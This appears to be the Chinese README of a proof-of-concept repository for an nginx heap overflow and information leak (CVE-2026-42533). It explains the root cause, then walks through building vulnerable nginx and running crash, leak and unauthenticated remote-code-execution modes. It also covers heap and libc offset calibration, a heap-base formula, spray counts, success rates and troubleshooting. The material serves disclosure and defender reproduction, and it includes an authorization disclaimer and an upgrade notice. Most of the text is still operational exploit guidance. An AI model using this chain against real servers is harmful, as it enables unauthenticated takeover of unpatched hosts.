nginx 中未经认证的堆缓冲区溢出和堆信息泄露,根因是脚本引擎两遍执行过程中缺失对 PCRE 捕获状态的保存/恢复。在两个捕获引用之间求值的正则 map 变量会覆盖 r->captures,导致 LEN 遍和 VALUE 遍对捕获大小的判断不一致。缓冲区按一个捕获的大小分配,却填充了另一个捕获的内容。较大的覆写会产生堆溢出,内容与长度由攻击者控制。较小的覆写会产生一个过大的缓冲区,其未初始化的尾部被返回给客户端,从而泄露 libc 和堆指针。
这两种原语可串联成可靠的未经认证远程代码执行。信息泄露在单次 GET 中即可绕过 ASLR,因此溢出无需在 ASLR 关闭的情况下进行。
Writeup: https://cyberstan.co.uk/nginx-rce/ Advisory: F5 K000162097 Reporter: Stan Shaw (cyberstan)
nginx 0.9.6 至 1.30.3(稳定版)以及 1.31.2(主线版),自 2011 年 map 指令获得正则支持起即可触达。http 和 stream 模块均受影响。涉及 13 个调用点上的约 50 条指令,另有经由命名捕获(r->variables[])的第二条路径。已在 1.30.4 和 1.31.3 中修复。
CVE-2026-42533-PoC/
├── exploits/ 漏洞利用与验证脚本
│ ├── poc.py 编号捕获 proxy_method 链(crash/leak/rce/rce-det)
│ ├── calibrate.py 为你的构建查找 PL_OFF / HEAP_PAGE_OFF(供 --rce-det 使用)
│ ├── leak_multi.py 在 return 与 set 两个出口上的信息泄露
│ ├── test_all_sites.py ASan 验证器,覆盖全部 13 个溢出点
│ └── named_capture_poc.py 命名捕获 r->variables[] 变体
├── configs/ 漏洞利用所针对的 nginx 配置
│ ├── nginx_poc.conf crash / leak / rce
│ └── nginx_det.conf 确定性的 rce-det
├── docs/
│ └── EXPLOITATION.md 完整利用技术文档
└── README.md
在仓库根目录下运行下面的每一条命令,这样 exploits/、configs/ 和 ../nginx-1.30.1 构建树都能正确解析。
exploits/poc.py 是主漏洞利用脚本(编号捕获,proxy_method 出口)。其模式:
覆盖其余漏洞面的独立脚本:
配置文件位于 configs/:nginx_poc.conf(crash/leak/rce)、nginx_det.conf(rce-det)。完整技术文档见 docs/EXPLOITATION.md。
Linux、gcc、python3 以及 nginx 1.30.1 源码。开发与测试环境为 Ubuntu 24.04.4、glibc 2.39、PCRE2 10.42、python 3.12、完整 ASLR。
两种构建。干净构建用于信息泄露和 RCE,以保证堆残留真实有效。AddressSanitizer 构建用于崩溃和调用点验证器,以便以精确的写入大小和栈报告溢出。
tar xf nginx-1.30.1.tar.gz
cd nginx-1.30.1
# 干净构建 -> objs.dbg/nginx (leak, rce)
./configure --with-pcre --with-http_ssl_module --with-debug --builddir=objs.dbg
make -j"$(nproc)"
# 包含调用点验证器所需全部模块的 ASan 构建 -> objs/nginx
./configure --with-pcre --with-http_ssl_module --with-http_v2_module \
--with-stream --with-stream_ssl_preread_module --with-stream_ssl_module \
--with-debug \
--with-cc-opt='-g -O0 -fsanitize=address -fno-omit-frame-pointer' \
--with-ld-opt=-fsanitize=address --builddir=objs
make -j"$(nproc)"
exploits/poc.py 与运行在 127.0.0.1:8950 上的 nginx 通信。在一个终端中用 configs/nginx_poc.conf 启动它,然后在另一个终端中运行你想要的模式。另外三个脚本会自行启动和停止各自的 nginx,因此它们只需要 NGINX_BIN。
mkdir -p run/logs
../nginx-1.30.1/objs/nginx -p run -c "$PWD/configs/nginx_poc.conf" # ASan 构建,前台运行
python3 exploits/poc.py --crash
预期结果:堆缓冲区溢出,WRITE of size 200,位于 ngx_http_script_copy_capture_code(ngx_http_script.c:1404),由 ngx_http_complex_value 在 ngx_http_proxy_create_request 中调用。
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # 干净构建
python3 exploits/poc.py --leak
预期结果:8161 字节的响应体,其中 2 字节为实际写入内容,其余为堆残留。偏移 0x08 处为 libc 指针,0x10 处为堆指针。
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_poc.conf" # 干净构建
python3 exploits/poc.py --rce # 通过 system() 写入 /tmp/PWNED
预期结果:一次信息泄露、约 40 个 spray 连接、一次溢出触发,随后 /tmp/PWNED 中包含 id 的输出。这是单次利用,在开发构建上约三分之二的概率命中;失败时 worker 崩溃,你重新运行即可。参见 docs/EXPLOITATION.md 的“Reliability”一节。
在受控配置下,同一个漏洞是确定性的单次利用。它从信息泄露中一行恢复绝对堆基址(heap_base = (leaked_ptr & ~0xfff) - 0x22000),在一个保持连接的请求中于已知地址安放一个伪造的池清理函数,并将受害池的清理指针指向它,而不是指向临时触发体(nginx 会在 teardown 之前释放该触发体)。
mkdir -p run/logs
../nginx-1.30.1/objs.dbg/nginx -p run -c "$PWD/configs/nginx_det.conf" # 受控配置
python3 exploits/poc.py --rce-det
nginx_det.conf 是一个实验室配置(单 worker、固定缓冲区),其堆布局可复现,这正是 poc.py 中的偏移量(PL_OFF、HEAP_PAGE_OFF)得以成立的原因。PL_OFF 是保持的 POST /b/ 清理体在堆基址上的偏移;它取决于精确的分配序列,因此会随构建、glibc 版本和配置而变化。如果 --rce-det 报告 Recalibrate,请用 calibrate.py 从一个活动 worker 上读取正确值:
NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/calibrate.py
# 会打印例如 set PL_OFF = 0x14426 ,然后将其编辑到 exploits/poc.py 中
唯一的另一个非成功情形是 ASLR 抽签将 0x0a 放进了清理地址或溢出体中,map 正则无法承载该字节;工具会报告并让你重跑。生产部署没有那样的可预测性,因此在生产环境请使用 --rce。参见 docs/EXPLOITATION.md 的“A deterministic build”一节。
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/test_all_sites.py # ASan 构建
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/test_all_sites.py 1 7 12 # 子集
NGINX_BIN=../nginx-1.30.1/objs/nginx python3 exploits/named_capture_poc.py # ASan 构建
NGINX_BIN=../nginx-1.30.1/objs.dbg/nginx python3 exploits/leak_multi.py # 干净构建
预期结果:return 和 set 各泄露一个 libc 和一个堆指针,均对照 worker 的 /proc/<pid>/maps 确认。
最常让人困惑的两件事是:使用了错误的构建(ASan 还是干净构建),以及 --rce-det 偏移量与你的环境不匹配。下面都有说明。
--rce 在运行时从信息泄露中恢复 libc 基址和堆指针,因此不硬编码任何地址。但它确实硬编码了与开发所用构建和 libc 相关的偏移量:
LIBC_LEAK_OFFSET libc 基址到泄露的 arena 指针
SYSTEM_OFFSET libc 基址到 system()
BODY_DELTA_* 泄露的堆指针到溢出体缓冲区
POOL_OFF_FROM_BUF, D_LAST_OFF, D_END_OFF, LOG_OFF 伪造池的几何布局
在不同发行版、glibc 或 nginx 构建上,这些需要重新校准。用 readelf -sW /lib/x86_64-linux-gnu/libc.so.6 | grep '\bsystem\b' 读取真实的 system() 偏移,并用目标上的 ngx_pool_t 读取池偏移。--crash 和 --leak 模式不携带此类偏移,可在受影响版本的任何构建上复现。
信息泄露不需要特殊调优。它在默认的 events {} 配置上即可工作,其默认的 worker_connections(512)使 arena 的大小合适,让已释放的请求块落入仍保留 arena 和堆指针的 glibc bin 中,过大的泄露缓冲区随后重用了这些指针。只有异常低的 worker_connections(低于约 256)才能避开;生产环境的值(512-1024)都会泄露。
一个在不利用任何漏洞的情况下标记易受攻击模式的静态配置扫描器位于 https://github.com/0xCyberstan/CVE-2026-42533-Config-Scanner。
本工具针对的是已修补、已公开披露的漏洞。它服务于防御方验证暴露面以及研究复现。请仅对你拥有或明确获得授权测试的 nginx 运行。请升级到 1.30.4 或 1.31.3。
| 模式 | 用途 |
|---|
poc.py --crash | 触发堆溢出;在 ASan 构建上会打印写入大小及 ngx_http_script_copy_capture_code 处的栈。 |
poc.py --leak | 信息泄露:从过大的响应体中导出 libc 和堆指针。 |
poc.py --rce | 完整的未经认证 RCE。通用单次利用(configs/nginx_poc.conf),每次尝试约 66% 成功率,失败可重跑。 |
poc.py --rce-det | 完整的未经认证 RCE,针对受控的 configs/nginx_det.conf 具有确定性。 |
| 脚本 | 用途 |
|---|
exploits/leak_multi.py | 通过另外两个求值器(return、set)泄露信息,每个 libc+堆指针对照 /proc/<pid>/maps 确认。使用默认配置。 |
exploits/test_all_sites.py | AddressSanitizer 验证器,触发全部 13 个溢出调用点(http + stream)。 |
exploits/named_capture_poc.py | 经由 r->variables[] / copy_var_code 的命名捕获 (?P<name>...) 变体,即第二个根因。 |
| 症状 | 原因 | 解决办法 |
|---|
--leak 不显示指针,或 --rce / --rce-det 始终无法命中 | 你正在使用 ASan 构建;AddressSanitizer 会毒化已释放内存,因此残留中不包含真实指针 | --leak、--rce、--rce-det 和 leak_multi.py 请使用干净的 objs.dbg 构建。ASan 的 objs 构建仅用于 --crash、test_all_sites.py 和 named_capture_poc.py。 |
--rce 约只有三分之二的尝试能命中 | 在通用配置上的单次利用;释放的触发体位置会变化 | 属预期情况。未命中时 worker 会崩溃并重生,直接重跑即可。若要确定性的单次利用,请使用 --rce-det。 |
--rce-det 每次都打印 No RCE. Recalibrate PL_OFF/HEAP_PAGE_OFF | PL_OFF 与你的构建、glibc、配置以及 nginx -p 前缀路径长度相关。自带值针对的是以 -p run 启动的本仓库开发构建 | 运行 exploits/calibrate.py,将它打印的 PL_OFF 粘贴到 exploits/poc.py 中,并用与 calibrate.py 相同的 -p 前缀启动 nginx(README 使用 -p run)。 |
--rce-det 偶尔打印 0x0a (regex-hostile) ... retry | ASLR 抽签将 0x0a(换行)字节放进了某个地址,map 正则无法承载 | 不是失败。重跑即可;下一次抽签几乎总能避开。 |
nginx 或 calibrate.py:bind() to 127.0.0.1:8950 failed (Address already in use) | 之前的 nginx 仍占用该端口 | 执行 pkill -x nginx,等一秒后重试。8950 端口上只保留一个 nginx。 |
独立脚本打印 nginx not found | NGINX_BIN 未设置或指向错误的构建 | 设置 NGINX_BIN(leak_multi.py 用干净构建,验证器用 ASan 构建)。 |
配置、脚本或 nginx 二进制提示 No such file | 你不在仓库根目录 | 先 cd 到仓库根目录;所有命令都假设在该目录下执行(exploits/...、configs/...、../nginx-1.30.1/...)。 |
| 信息泄露在一个配置上有效,在另一个配置上无效 | worker_connections 低于约 256 会缩小 arena,导致已释放块中不含指针 | 使用正常的 worker_connections(512 至 1024)。生产环境的值都能泄露。 |